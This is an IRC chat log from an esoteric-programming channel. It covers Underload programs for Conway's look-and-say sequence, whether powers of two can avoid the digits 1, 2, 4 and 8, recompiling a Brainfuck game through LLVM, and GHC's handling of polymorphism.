06:01:23 -!- poiuy_qwert has joined.
06:06:42 -!- hagb4rd has quit (Ping timeout: 240 seconds).
06:11:22 -!- poiuy_qwert has quit (Ping timeout: 272 seconds).
06:11:55 -!- poiuy_qwert has joined.
06:19:26 -!- hagb4rd has joined.
06:29:54 -!- poiuy_qwert has quit (Ping timeout: 240 seconds).
06:30:19 -!- poiuy_qwert has joined.
06:45:13 -!- Zuu has quit (Read error: Connection reset by peer).
06:45:16 -!- Zuu_ has joined.
06:50:28 -!- azaq23 has quit (Quit: Leaving.).
07:07:57 -!- poiuy_qwert has quit (Ping timeout: 276 seconds).
07:08:27 -!- poiuy_qwert has joined.
07:15:00 -!- asiekierka has joined.
07:15:05 -!- poiuy_qwert has quit (Ping timeout: 240 seconds).
07:15:33 -!- poiuy_qwert has joined.
07:30:15 <oerjan> ^ul (()~^(::**)~^)((((:((0)(!(1)(!(2)(!(3)(_))))(^))~*^^!S)(:a(~^)*~(()(~(~(:a~*):^))(a))~*^^)):^(()~)~**~^(:)~((a(~^)*~*:a(.B)*S*)~a)~a(**~:((:)~(*)**:a(.A)*S)~a*~(^))**a(~*^^^!^)***(~)~a(~a*^:)**a(:)**~^!!!a(~^)*~*:a(.C)*S*)~a((, )S:^)**^):^
07:30:15 <fungot> 13(:a(~^)*~*:a(.B)*S*(::**):a(~^)*~(()(~(~(:a~*):^))(a))~*^^*).A((:a(~^)*~*:a(.B)*S*(::**):a(~^)*~(()(~(~(:a~*):^))(a))~*^^*)~^).C, 1((^)~^^).B(::**)~^ ...bad insn!
07:33:05 <oerjan> ^ul (()~^(::**)~^)((((:((0)(!(1)(!(2)(!(3)(_))))(^))~*^^!S)(:a(~^)*~(()(~(~(:a~*):^))(a))~*^^)):^(()~)~**~^(:)~((a(~^)*~*(!=)*S*)~a)~a(**~:((:)~(*)**(=)*S)~a*~(^))**a(~*^^^!^)***(~)~a(~a*^:)**a(:)**~^!!!a(~^)*~*(!=.)*S*)~a((, )S:^)**^):^
07:33:05 <fungot> 13:a(~^)*~*(!=)*S*(::**):a(~^)*~(()(~(~(:a~*):^))(a))~*^^*=()~^()~^!=. ...out of stack!
07:33:09 <Ilari> Full IANA IPv4 depletion in about 7 hours?
07:33:40 <oerjan> there's a press conference i hear
07:34:26 <oerjan> ^ul (()~^(::**)~^)((((:((0)(!(1)(!(2)(!(3)(_))))(^))~*^^!S)(:a(~^)*~(()(~(~(:a~*):^))(a))~*^^)):^(()~)~**~^(:)~((a(~^)*~*(!=)S*)~a)~a(**~:((:)~(*)**(=)S)~a*~(^))**a(~*^^^!^)***(~)~a(~a*^:)**a(:)**~^!!!a(~^)*~*(!=.)S*)~a((, )S:^)**^):^
07:34:26 <fungot> 13=!=., 1!=(::**)~^ ...bad insn!
07:36:16 <oerjan> that = test is exactly backwards of what should be
07:37:59 * oerjan suspects a missing ! that was supposed to remove the branch not taken
07:38:56 <oerjan> ^ul (()~^(::**)~^)((((:((0)(!(1)(!(2)(!(3)(_))))(^))~*^^!S)(:a(~^)*~(()(~(~(:a~*):^))(a))~*^^)):^(()~)~**~^(:)~((a(~^)*~**)~a)~a(**~:((:)~(*)**)~a*~(^))**a(~*^^^!!^)***(~)~a(~a*^:)**a(:)**~^!!!a(~^)*~**)~a((, )S:^)**^):^
07:38:58 <fungot> 13, 1113, 3113, 132113, 1113122113, 311311222113, 13211321322113, 1113122113121113222113, 31131122211311123113322113, 132113213221133112132123222113, 11131221131211132221232112111312111213322113, 31131122211311123113321112131221123113111231121123222113, 13211321322113311213212312311211131122211213 ...out of time!
07:39:04 <oerjan> SUCCESS
07:39:16 <Ilari> What sequence is that?
07:39:27 <oerjan> conway's look and say sequence
07:40:57 <oerjan> ^ul ((::**)~^)((((:((0)(!(1)(!(2)(!(3)(_))))(^))~*^^!S)(:a(~^)*~(()(~(~(:a~*):^))(a))~*^^)):^(()~)~**~^(:)~((a(~^)*~**)~a)~a(**~:((:)~(*)**)~a*~(^))**a(~*^^^!!^)***(~)~a(~a*^:)**a(:)**~^!!!a(~^)*~**)~a((, )S:^)**^):^
07:40:59 <fungot> 3, 13, 1113, 3113, 132113, 1113122113, 311311222113, 13211321322113, 1113122113121113222113, 31131122211311123113322113, 132113213221133112132123222113, 11131221131211132221232112111312111213322113, 31131122211311123113321112131221123113111231121123222113, 132113213221133112132123123112111311222112 ...out of time!
07:41:44 <oerjan> ^ul ((:*)~^(:*)~^)((((:((0)(!(1)(!(2)(!(3)(_))))(^))~*^^!S)(:a(~^)*~(()(~(~(:a~*):^))(a))~*^^)):^(()~)~**~^(:)~((a(~^)*~**)~a)~a(**~:((:)~(*)**)~a*~(^))**a(~*^^^!!^)***(~)~a(~a*^:)**a(:)**~^!!!a(~^)*~**)~a((, )S:^)**^):^
07:41:45 <fungot> 22, 22, 22, 22, 22, 22, 22, 22, 22, 22, 22, 22, 22, 22, 22, 22, 22, 22, 22, 22, 22, 22, 22, 22, 22, 22, 22, 22, 22, 22, 22, 22, 22, 22, 22, 22, 22, 22, 22, 22, 22, 22, 22, 22, 22, 22, 22, 22, 22, 22, 22, 22, 22, 22, 22, 22, 22, 22, 22, 22, 22, 22, 22, 22, 22, 22, 22, 22, 22, 22, 22, 22, 22, 22, 22, 22, 22, 22, 22, 22, 22, ...too much output!
07:41:55 <oerjan> the only value which doesn't grow
07:42:51 <Ilari> Conway's constant... Algebraic number of degree 71...
07:43:18 <oerjan> ^ul ((:*)~^(!())~^()~^)((((:((0)(!(1)(!(2)(!(3)(_))))(^))~*^^!S)(:a(~^)*~(()(~(~(:a~*):^))(a))~*^^)):^(()~)~**~^(:)~((a(~^)*~**)~a)~a(**~:((:)~(*)**)~a*~(^))**a(~*^^^!!^)***(~)~a(~a*^:)**a(:)**~^!!!a(~^)*~**)~a((, )S:^)**^):^
07:43:19 <fungot> 201, 121011, 1112111021, 311231101211, 132112132110111221, 11131221121113122110312211, 31131122211231131122211013112221, 13211321322112132113213221101113213211, 1113122113121113222112111312211312111322211031131211131221, 311311222113111231133221123113112221131112311332211013211311123113112211, 132113 ...out of time!
07:47:28 <Ilari> Degree 71 is quite high for any constant arising from actual problem. Those tend to be either of low algebraic degree or transcendal...
07:48:11 <Ilari> (all rational numbers are of degree 1).
07:48:33 <oerjan> actually from my own research i would expect degree 92, the number of "atoms" in conway's cosmological theorem. i suppose there is a degree 92 polynomial with a large degree 71 factor.
07:49:40 <oerjan> because the constant should be the largest eigenvalue of the 92x92 matrix describing how those atoms turn into each other at each step
07:50:33 <oerjan> i haven't actually read conway's original article, so i don't know how he gets a simpler one
07:50:46 <Ilari> One fun problem: Is there a power of two that doesn't contain 1, 2, 4 or 8 that isn't 65536?
07:51:08 <oerjan> that rings a bell, in which case the answer is "no"
07:52:05 <oerjan> it should be possible to prove by just calculating (mod 10^k) for a not too large k, and checking that you end up with a cycle where everything contains 1, 2, 4 or 8
07:53:11 <oerjan> hm wait actuall the atom 22 doesn't lead to any of the others, so it should be 91 at most
07:53:14 <oerjan> *lly
07:53:58 <oerjan> i've seen a list of the atom transitions, all the others lead to each other
07:54:56 <oerjan> > iterate (*2) 2
07:54:57 <lambdabot> [2,4,8,16,32,64,128,256,512,1024,2048,4096,8192,16384,32768,65536,131072,26...
07:58:11 <oerjan> ^ul ((::**)~^)((((:((0)(!(1)(!(2)(!(3)(!(4)(!(5)(!(6)(!(7)(!(8)(!9(_))))))))))(^))~*^^!S)(:a(~^)*~(()(~(~(:a~*):^))(a))~*^^)):^(()~)~**~^(:)~((a(~^)*~**)~a)~a(**~:((:)~(*)**)~a*~(^))**a(~*^^^!!^)***(~)~a(~a*^:)**a(:)**~^!!!a(~^)*~**)~a((, )S:^)**^):^
07:58:12 <Ilari> Any power of two that doesn't contain 1, 2, 4 nor 8 must also be power of 16.
07:58:13 <fungot> 3, 13, 1113, 3113, 132113, 1113122113, 311311222113, 13211321322113, 1113122113121113222113, 31131122211311123113322113, 132113213221133112132123222113, 11131221131211132221232112111312111213322113, 31131122211311123113321112131221123113111231121123222113, 132113213221133112132123123112111311222112 ...out of time!
07:58:47 <oerjan> ah right that's a start
07:59:02 <oerjan> > iterate (*16) 16
07:59:03 <lambdabot> [16,256,4096,65536,1048576,16777216,268435456,4294967296,68719476736,109951...
07:59:40 <oerjan> and there we have 36 at the end regularly...
07:59:59 -!- clog has quit (ended).
08:00:00 -!- clog has joined.
08:00:11 <oerjan> hm actually only 1 occurs in the last 2 digits there
08:00:57 <oerjan> !haskell take 100 $ iterate (*16) 16
08:01:21 <oerjan> !echo hi
08:01:22 <EgoBot> [16,256,4096,65536,1048576,16777216,268435456,4294967296,68719476736,1099511627776,17592186044416,281474976710656,4503599627370496,72057594037927936,1152921504606846976,18446744073709551616,295147905179352825856,4722366482869645213696,75557863725914323419136,1208925819614629174706176,19342813113834066795298816,309485009821345068724781056,4951760157141521099596496896,79228162514264337593543950336,1267650600228229401496703205376,20282409603651670423947251286016,32
08:01:50 <oerjan> oh 016 repeats
08:03:01 <oerjan> it is of course exceedingly unlikely that you can avoid 1,2,4,8 once the numbers get long
08:04:33 <oerjan> > map (fromJust . findIndex ("1248" `notElem`) . reverse . show) $ iterate (*16) 16
08:04:34 <lambdabot> Couldn't match expected type `[[GHC.Types.Char]]'
08:04:34 <lambdabot> against inferred ...
08:04:39 <oerjan> gah
08:05:07 <oerjan> :t findIndex
08:05:08 <lambdabot> forall a. (a -> Bool) -> [a] -> Maybe Int
08:05:16 <oerjan> oh
08:05:31 <oerjan> > map (fromJust . findIndex (`notElem` "1248") . reverse . show) $ iterate (*16) 16
08:05:32 <lambdabot> [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,...
08:05:39 <oerjan> er
08:05:45 <oerjan> > map (fromJust . findIndex (`Elem` "1248") . reverse . show) $ iterate (*16) 16
08:05:46 <lambdabot> Not in scope: data constructor `Elem'
08:05:53 <oerjan> > map (fromJust . findIndex (`elem` "1248") . reverse . show) $ iterate (*16) 16
08:05:55 <lambdabot> [1,2,3,*Exception: Maybe.fromJust: Nothing
08:06:03 <oerjan> *facepalm*
08:06:18 <oerjan> > map (fromJust . findIndex (`elem` "1248") . reverse . show) $ iterate (*16) 1048576
08:06:20 <lambdabot> [3,1,2,2,5,4,1,4,2,4,4,1,2,4,2,2,1,3,2,7,5,1,2,4,3,3,1,2,2,3,4,1,4,2,4,3,1,...
08:06:38 <oerjan> ouch there's one with 7
08:07:13 <oerjan> > filter (> 4) . map (fromJust . findIndex (`elem` "1248") . reverse . show) $ iterate (*16) 1048576
08:07:15 <lambdabot> [5,7,5,5,5,5,7,7,12,7,5,7,5,6,5,5,8,5,6,5,6,5,5,5,7,7,8,7,5,7,5,7,5,7,6,8,5...
08:07:25 <oerjan> > filter (> 6) . map (fromJust . findIndex (`elem` "1248") . reverse . show) $ iterate (*16) 1048576
08:07:29 <lambdabot> mueval-core: Time limit exceeded
08:07:35 <oerjan> bah :D
08:07:48 <oerjan> > filter (> 5) . map (fromJust . findIndex (`elem` "1248") . reverse . show) $ iterate (*16) 1048576
08:07:51 <lambdabot> [7,7,7,12,7,7,6,8,6,6,7,7,8,7,7,7,7,6,8,6,6,9,8,6,7,7,6,8,6,6,6,6,6,6,6,6,6...
08:07:57 <fizzie> I see you're familiar with the engineer's method of proving mathematical statements.
08:08:01 <oerjan> :D
08:08:20 <oerjan> there's even 12 and 9 in there. this might be harder than it looks.
08:08:23 -!- hagb4rd has quit (Ping timeout: 240 seconds).
08:08:26 <kfr> Haha
08:08:30 <oerjan> or rather it's starting to look hard
08:10:22 <oerjan> hm on the other hand those numbers are probably huge
08:11:43 -!- myndzi has quit (Ping timeout: 265 seconds).
08:13:28 -!- hagb4rd has joined.
08:14:06 -!- copumpkin has quit (Ping timeout: 240 seconds).
08:14:39 -!- copumpkin has joined.
08:15:34 <asiekierka> hey
08:15:39 <oerjan> hello
08:15:46 <hagb4rd> hi
08:16:08 <asiekierka> i modified this -> http://www.remcobloemen.nl/2010/02/brainfuck-using-llvm/
08:16:12 <asiekierka> to output an assembly file
08:16:16 <asiekierka> now i'm feeding Lost Kingdom through it
08:17:34 <asiekierka> this will take a while
08:20:17 <kfr> Hahaha.
08:20:49 <asiekierka> at least it'll be fast
08:20:55 <asiekierka> which is a good thing, right?
08:21:05 <asiekierka> also i can port it to other platforms, then
08:21:09 <asiekierka> like iPhone, or Android
08:21:21 <kfr> I want to do something with LLVM, too
08:21:25 <Ilari> If one considers 3 last digits, the exponent of 16 must be congruent to 3, 4, 5, 9, 10, 12, 14, 15, 16, 18, 22 or 24 modulo 25...
08:21:25 <asiekierka> actually wait i think i made the tape size too small
08:21:26 <asiekierka> D:
08:21:42 <asiekierka> yep
08:22:12 <asiekierka> recompiling again
08:22:15 <asiekierka> this will take more of a while
08:22:39 <kfr> That's a good link though, I've been looking for an introduction to LLVM
08:22:48 <asiekierka> yes, it can serve as an introduction
08:22:48 <asiekierka> kind of
08:23:04 <asiekierka> more esolangs should have LLVM versions
08:23:06 <Ilari> Which means last digits of the power two is raised to must be congruent to 12, 16, 20, 36, 40, 48, 56, 60, 64, 72, 88 or 96 modulo 100.
08:23:21 <kfr> Originally I wanted to make a self hosting compiler, just for fun
08:23:24 <kfr> In some dumb language
08:23:35 <asiekierka> Unlamb... oh wait
08:23:36 <asiekierka> D:
08:23:38 <kfr> http://siyobik.info/misc/esolang/prime.html something like that
08:24:02 <asiekierka> i want to make FerNANDo compile to LLVM for some reason
08:25:33 <asiekierka> also Lost Kingdom in C would be quite cool
08:25:56 <asiekierka> especially as you can see by the code there's space for mass optimization
08:26:24 <kfr> But if I were going to make something in LLVM I'd go for a serious language
08:26:27 -!- poiuy_qwert has quit (Ping timeout: 255 seconds).
08:26:34 <kfr> So perhaps no Unicode then
08:26:43 <kfr> Although Unicode can really make programming more fun, hahaha
08:27:07 -!- poiuy_qwert has joined.
08:27:55 <asiekierka> kfr
08:27:56 <asiekierka> do LOLCODE
08:28:15 <kfr> I said serious language
08:28:20 <kfr> I also said that I'd make my own
08:28:39 <asiekierka> yay
08:28:42 <asiekierka> just don't go too far
08:28:49 <kfr> What do you mean by too far?
08:28:57 <asiekierka> don't try to make it complex
08:29:01 <kfr> Why not?
08:29:05 <kfr> Because I'll never finish it?
08:29:10 <asiekierka> yes
08:29:20 <asiekierka> unless you get a team of a few people the chances are quite low
08:29:22 <kfr> Yeah I've started stuff like that at one or two points in the past
08:29:33 <kfr> And I never got anywhere
08:29:37 <oerjan> ^ul ((::**)~^)(<-- Initial number as sequence of encoded digits each followed by ~^)!((((:((0)(!(1)(!(2)(!(3)(!(4)(!(5)(!(6)(!(7)(!(8)(!9(_))))))))))(^))~*^^!S)()!(:a(~^)*~(()(~(~(:a~*):^))(a))~*^^)):^(()~)~**~^(:)~((a(~^)*~**)~a)~a()!(**~:((:)~(*)**)~a*~(^))**a(~*^^^!!^)***(~)~a(~a*^:)**a(:)**~^!!!a(~^)*~**)()!~a((, )S:^)**^):^
08:29:39 <fungot> 3, 13, 1113, 3113, 132113, 1113122113, 311311222113, 13211321322113, 1113122113121113222113, 31131122211311123113322113, 132113213221133112132123222113, 11131221131211132221232112111312111213322113, 31131122211311123113321112131221123113111231121123222113, 13211321322113311213212312311211131122211 ...out of time!
08:29:51 <asiekierka> underload!
08:30:11 <oerjan> i'm just checking that my reformatting for the wiki didn't break anything
08:30:50 <kfr> primeCheck iterator number ⇾ ⌥ = iterator number 1 ⌥ = 0 ∣ number iterator 0 ↺ + iterator 1 number ◼
08:30:53 <kfr> Unicode rawr
08:31:08 <kfr> I just think it's funny to make a self hosting compiler for an esoteric language
08:31:14 <kfr> It's probably an annoying task though
08:31:21 <kfr> Especially when the language is primitive
08:31:28 -!- poiuy_qwert has quit (Ping timeout: 240 seconds).
08:32:02 -!- poiuy_qwert has joined.
08:34:45 <oerjan> Ilari: do you know if the problem has actually been solved?
08:35:34 <oerjan> when it can get up to the 12th digit from the end it looks like brute force might have some trouble
08:37:33 <Ilari> I don't know a solution...
08:39:32 <oerjan> perhaps one could show that the number of digits at the end that are not 1,2,4,8 can be arbitrarily large
08:40:35 <oerjan> say if for every k, all numbers (mod 10^k) that are divisible by 2^k must repeat
08:40:35 <oerjan> or some suitably large fraction
08:40:36 <Ilari> But if such number (power of two not containing 1, 2, 4 nor 8) exists, it must be at least 100 000 digits long...
08:40:50 <Ilari> (nor being 65536)
08:41:21 <oerjan> yeah i think it's heuristically unlikely it exists
08:42:11 <asiekierka> it's still doing lost kingdom!? what
08:42:40 <oerjan> and if there is no (mod 10^k) that can be brute forced to show a cycle with no exceptions in it, then it might be among those problems that current mathematics cannot handle
08:43:40 <Ilari> The cycle length seems to go up exponentially when k is increased...
08:44:14 <oerjan> yes, but how long? is it on the order of 5^k?
08:45:00 <oerjan> (that's afaict the approximate maximum)
08:45:28 <Ilari> Something like that...
08:45:52 -!- poiuy_qwert has quit (Ping timeout: 240 seconds).
08:46:50 <oerjan> oh hm (mod 2^k) it must reach 0, so (mod 5^k) is all the variation possible
08:48:01 <oerjan> and it's relatively prime to 5, so it must be within 4*5^(k-1) multiplicative subgroup
08:49:12 <Ilari> At least 200 000 digits...
08:49:40 <oerjan> what is that 4 element subgroup, i wonder
08:49:59 <Ilari> As said, the number must be power of 16...
08:50:16 -!- impomatic has joined.
08:50:21 <oerjan> yes. could it be that 16 generates the 5^(k-1) subgroup...
08:51:06 <oerjan> hm that's among the elements that are 1 (mod 5)
08:54:31 <oerjan> hm actually the subset (mod 10^k) with the properties == 1 (mod 5) and == 0 (mod 2^k) might not necessarily contain elements without 1,2,4,8...
08:55:09 <oerjan> hm
08:57:38 <Ilari> If the power 2 is raised to is not divisible by 4, then the last digit is going to inevitably be 2, 4 or 8.
08:59:07 <Ilari> IIRC, considering 2 digits won't help any. 3 digits yields some new restrictions in complicated-looking pattern. 4 is presumably even worse.
09:03:28 <Ilari> >352 200 digits...
09:05:39 <oerjan> > let k = 5 in filter (("1248" `notElem`) . show) [0, 2^k .. 10^k-2^k]
09:05:40 <lambdabot> Couldn't match expected type `[GHC.Types.Char]'
09:05:40 <lambdabot> against inferred ty...
09:06:08 <oerjan> > let k = 5 in filter (all (`notElem` "1248") . show) [0, 2^k .. 10^k-2^k]
09:06:10 <lambdabot> [0,96,576,736,960,3360,3776,3936,5056,5376,5536,5600,5696,5760,6336,6560,66...
09:06:41 <oerjan> > let k = 10 in filter (all (`notElem` "1248") . show) [0, 2^k .. 10^k-2^k]
09:06:43 <lambdabot> [0,39936,65536,66560,70656,75776,357376,373760,399360,500736,536576,537600,...
09:07:55 <oerjan> > let k = 20 in filter (all (`notElem` "1248") . show) [0, 2^k .. 10^k-2^k]
09:07:56 <lambdabot> [0,509607936,577765376,603979776,655360000,766509056,770703360,797966336,30...
09:08:16 <Ilari> Basically, there doesn't seem to be much hope for showing an explicit example... Since any such thing must be above 2^(10^6)...
09:08:40 <oerjan> > let k = 30 in filter (all (`notElem` "1248") . show) [0, 2^k .. 10^k-2^k]
09:08:42 <lambdabot> [0,3505767055360,3703335550976,6033355309056,6039797760000,6065567563776,65...
09:09:13 <Ilari> If there isn't such number, showing some lower bound where all numbers start to have 1, 2, 4 or 8 might work...
09:09:38 <oerjan> it looks like it's not very rare to avoid 1,2,4,8 in that modulus subset
09:11:12 <oerjan> so my guess is this problem is impossibly hard
09:16:27 <Ilari> But it also seems heuristically that it is exeedingly unlikely for such number to exist...
09:17:02 <oerjan> yes, that's one side of the hard part
09:17:29 <oerjan> it's unlikely for it to exist, and it's unlikely for its non-existence to be easily proved
09:19:12 -!- fxkr has quit (Quit: Reconnecting).
09:19:17 -!- fxkr has joined.
09:20:35 <Ilari> This problem arises in context of minimal substring subset of powers of two (thought to be {1, 2, 4, 8, 65536}). For primes, the corresponding set is known to consist of 26 primes (those primes are known, but I can't right now find the page that had those listed).
09:21:13 <oerjan> i recall you mentioned that before
09:22:10 <Ilari> Some of those primes: 2, 3, 7, 11, 19, 31...
09:22:12 <oerjan> and that for those it _was_ a matter of checking moduli, i think
09:22:45 <oerjan> you're going to need 5 in there
09:22:50 <Ilari> Oh yeah.
09:23:38 <Ilari> In fact, I think those primes are the 26 first primes that don't contain lesser primes of the set as substrings...
09:24:31 -!- TLUL has quit (Quit: *disappears in a puff of orange smoke*).
09:24:43 <oerjan> hm i think such a set is unique if it exists
09:25:00 <Ilari> It is...
09:25:17 -!- TLUL has joined.
09:25:21 <Ilari> And also always finite.
09:25:44 <oerjan> you have to include all the shortest ones, and then each next shortest is either necessary or unnecessary by induction
09:26:02 -!- hagb4rd has quit (Ping timeout: 240 seconds).
09:26:20 <oerjan> hm i think you mentioned that too, but that was sort of a ramsey theory thing wasn't it, not obvious
09:26:44 <oerjan> at least i think i thought about it a bit and couldn't see an obvious argument
09:28:12 <oerjan> (or a non-obvious one, since i don't know the theory)
09:28:13 <Ilari> Heh... There is context-sensitive grammar for prime numbers... Wonder what sort of mess it actually is...
09:28:38 <oerjan> well since context-sensitive can calculate anything in linear space...
09:29:18 <Ilari> There's also regular expression for Luhn numbers. A total mess, but sure it exists...
09:32:39 <Ilari> And no, not one of those extended kins of "regular expressions", but the basic kind with only empty string matcing, symbol matching, alternation, concatenation and kleene closure.
09:33:03 -!- cheater- has quit (Ping timeout: 240 seconds).
09:33:54 -!- cheater- has joined.
09:34:53 <Ilari> Oh yeah, I actually consturcted such regular expression. Only 16 587 604 bytes...
09:36:53 <Ilari> Dunno if shorter regular expression exists...
09:37:21 <oerjan> um it's obviously given by a finite automaton, no? so clearly exists.
09:37:30 <Ilari> Yes.
09:37:40 <Ilari> I think it requires 20 states.
09:38:18 <oerjan> 2 for where you are, times 10 for the modulus
09:38:30 <oerjan> *modulo
09:53:44 -!- Slereah has quit (Ping timeout: 255 seconds).
09:59:45 -!- Slereah has joined.
10:16:14 -!- asiekierka has quit (Read error: Operation timed out).
10:19:59 <cheater-> hello
10:20:15 <cheater-> anyone know what's up with oklopol?
10:21:45 <Ilari> Oh, I think I figured out what would be the technical downfall of IPv6. :->
10:27:02 <cheater-> using ip numbers as UUIDs for something that there is a lot of?
10:27:15 <cheater-> like, say, line numbers in source code?
10:33:53 <Ilari> Nope. 128 bits is certainly enough for addresses. However, 16 bits might not be enough for payload length...
10:40:29 -!- asiekierka has joined.
10:40:54 <Ilari> Okay, Lagerholm seems to be trying to change IANA prediction banner to first RIR depletion banner. Except that it is still quite buggy (now it shows June 2012).
10:41:25 -!- hagb4rd has joined.
10:45:28 <cheater-> who's lagerholm?
10:46:41 <Ilari> The guy behind http://www.ipv4depletion.com/
10:48:53 -!- impomatic has quit (Quit: ChatZilla 0.9.86 [Firefox 3.5.16/20101130074636]).
10:56:38 -!- Ilari has quit (Ping timeout: 245 seconds).
10:57:28 -!- Ilari_antrcomp has quit (Ping timeout: 260 seconds).
10:57:41 -!- TLUL has quit (Quit: *disappears in a puff of orange smoke*).
10:58:08 -!- asiekierka has quit (Read error: Operation timed out).
11:02:54 -!- Ilari has joined.
11:03:30 -!- Ilari_antrcomp has joined.
11:09:38 -!- Ilari has quit (Quit: Reconnecting).
11:12:03 -!- Ilari_antrcomp has quit (Ping timeout: 245 seconds).
11:14:43 -!- Phantom_Hoover has joined.
11:16:38 -!- hagb4rd has quit (Ping timeout: 240 seconds).
11:24:23 -!- myndzi has joined.
11:26:07 <fizzie> Ilari: Re "16 bits might not be enough for payload length", it does have those jumbograms. (Using a separate option header with a 32-bit payload length.)
11:26:14 <fizzie> Oh, he's gone somewhere.
11:26:38 -!- cheater- has quit (Ping timeout: 240 seconds).
11:27:55 -!- cheater- has joined.
11:38:28 -!- Ilari has joined.
11:39:03 -!- aloril has quit (Ping timeout: 248 seconds).
11:39:46 -!- asiekierka has joined.
11:40:50 <fizzie> <fizzie> Ilari: Re "16 bits might not be enough for payload length", it does have those jumbograms. (Using a separate option header with a 32-bit payload length.)
11:41:02 <asiekierka> hello
11:41:08 <asiekierka> what would be a sane memory size to give for Lost Kingdom?
11:41:17 <asiekierka> as i want to try something and i need to know that
11:41:20 <asiekierka> for it not to b e too big
11:42:55 <fizzie> Perhaps you could measure it by running it under some conventional interpreter made to keep statistics on tape use.
11:43:39 <asiekierka> according to my debuggery
11:43:50 <asiekierka> 2500 cells should be more than enough
11:43:58 <asiekierka> actually 2048
11:44:06 <asiekierka> it doesn't go over 1024 but better be safe than sorry
11:44:47 <asiekierka> essentially i'm trying to recompile Lost Kingdom with LLVM
11:46:11 -!- Ilari has quit (Read error: Connection reset by peer).
11:46:18 <asiekierka> it took over an hour the first time i tried it
11:46:25 <asiekierka> and the output C file was 27MB
11:46:29 <asiekierka> but i used a tape size of... 60000
11:46:35 <asiekierka> 1600 should be better
11:47:28 <asiekierka> now, "Adv" takes 1.6MB
11:48:09 <asiekierka> but i have an idea how to shorten it
11:48:14 <asiekierka> add a for loop in place of a certain array
11:48:25 <asiekierka> 1600 lines of array[blah]=0
11:48:33 -!- impomatic has joined.
11:48:44 -!- hagb4rd has joined.
11:48:50 <asiekierka> but on the other hand it's quite fast
11:51:04 <asiekierka> 43KB for the compiled executable
11:51:12 <asiekierka> not bad seeing as there was 70KB of BF code originally
11:51:25 -!- cheater- has quit (Ping timeout: 240 seconds).
11:51:54 <impomatic> Created my first page on Wikipedia... I wonder if it'll survive or be deleted due to lack of notability :-(
11:52:29 -!- aloril has joined.
11:52:35 -!- cheater- has joined.
11:54:01 <asiekierka> so i'm uploading the recompiled Adv (the first BF interactive fiction game)
11:54:14 <asiekierka> first things first, what is what
11:54:35 <asiekierka> bf.cpp - the brainfuck->LLVM recompiler I found on http://www.remcobloemen.nl/2010/02/brainfuck-using-llvm/, modded so it outputs assembly code without other information
11:54:44 <asiekierka> syntax: ./bf lol.bf > lolllvm.asm
11:55:04 <asiekierka> adv.asm - the LLVM IR code you can compile to bitcode with llvm-as and then to either x86 machine code or C code with llc
11:55:12 <asiekierka> adv.c - the IR recompiled to C code
11:55:18 <asiekierka> adv-rec - the compiled recompilation
11:55:37 <asiekierka> http://64pixels.org/adv-recompile.zip for the files
11:59:19 <asiekierka> afk
11:59:36 <kfr> What is with this channel's obsession with BF?
11:59:44 <asiekierka> it's only my obsession
11:59:47 <asiekierka> and it's more with LLVM
11:59:49 <asiekierka> and libcpu
11:59:49 <kfr> :o
11:59:50 <asiekierka> than with BF
11:59:59 <fizzie> There's quite a little BF here, really.
12:00:06 <oerjan> kfr: um i don't think we've discussed it much in a while
12:00:06 <asiekierka> i want to learn LLVM and code "recompilers" for other esolangs
12:00:15 * asiekierka seconds oerjan
12:00:26 <oerjan> fizzie: i'm not sure that sentence means what you think it means
12:00:34 <kfr> Tons of the eso languages I've seen in here seem to be strongly inspired by BF though
12:00:36 <kfr> If only syntactically
12:00:38 <kfr> lol
12:00:42 <oerjan> (try removing the "a")
12:01:05 <fizzie> Well, BF *is* pretty famous, after all.
12:01:17 <oerjan> kfr: it _is_ the most famous esolang. and yes there are too many derivatives of it.
12:02:13 <asiekierka> anyone knows any other cell-based esolang which is not brainfuck nor a deriative
12:03:46 <oerjan> befunge has cells
12:04:10 <asiekierka> well pbrain is the only kind-of-used deriative i believe
12:04:22 <fizzie> Malbolge even has cells in a tape shape, though the derivativeness is arguable.
12:04:41 <Phantom_Hoover> Turing machines have cells.
12:05:05 <kfr> Self hosting turing machine compiler hm
12:05:53 -!- Ilari has joined.
12:06:09 <asiekierka> well i am still considering underlad even though it has a stack
12:06:17 <oerjan> *+o
12:06:25 <asiekierka> underload*
12:06:45 <fizzie> Also anything that has the usual sort of random-accessable memory could be considered to have "cells".
12:07:28 * oerjan ponders if smetana has cells
12:08:04 <kfr> How are functions as first class objects usually passed around? Is it a pointer to an object which basically contains a function pointer and a container with partially applied arguments?
12:08:43 <oerjan> well that's an obvious way
12:09:05 <kfr> I wonder how ghc deals with polymorphism
12:09:20 <kfr> Does it create one new function for every tuple (t_1, ..., t_n) of type variables?
12:10:33 <oerjan> absolutely not
12:10:33 <oerjan> it uses a boxed representation so a function does not need to look at arguments it doesn't know the type of
12:10:41 <asiekierka> oh hey
12:10:41 <asiekierka> the BF factorial app after recompilation is quite fast
12:10:44 <asiekierka> (this one: http://www.muppetlabs.com/~breadbox/bf/factor.b.txt )
12:10:58 <kfr> Unboxing slows it down though, no?
12:11:11 <kfr> In C++ a template will generate a separate function for each I think
12:11:36 <asiekierka> while the recompiled is "instant" for a number like 1239083483412
12:11:44 <asiekierka> an interpreted variant with a simple interpreter takes 7-8 seconds
12:11:50 <oerjan> kfr: it will sometimes specialize functions that use type classes, i believe (there's a pragma for it)
12:12:42 <oerjan> kfr: note that it is quite possible in ghc to write a program that uses a function at an _infinite_ number of types (polymorphic recursion)
12:13:03 <kfr> I thought ghc didn't permit that :O
12:13:17 <kfr> Ah hmm
12:13:25 <kfr> You can stack up transformers?
12:13:29 <oerjan> so they cannot always be compiled in advance
12:13:31 <kfr> Or something like that?
12:13:49 <Phantom_Hoover> Today's \sqrt{-Garfield} was the funniest in a long while.
12:14:14 <oerjan> i vaguely recall the jhc compiler tries to compile functions separately for separate types
12:15:57 <oerjan> ghc has many primitive functions with unboxed types though, and will optimize others to them
12:16:10 -!- Tritonio has joined.
12:17:13 <oerjan> kfr: doesn't permit what?
12:17:28 <kfr> I was referring to a different issue, I believe
12:17:34 <kfr> Stuff like "a = [a]
12:17:37 <kfr> "
12:17:38 <oerjan> Phantom_Hoover: BUT WILL IT END THE MEME?
12:17:46 <kfr> You know, infinite type error message
12:17:50 <Phantom_Hoover> WE CAN ONLY HOPE
12:17:51 <kfr> During compilation
12:18:16 <kfr> http://www.mezzacotta.net/garfield/?comic=625 <- I read that btw and I totally didn't get it lol
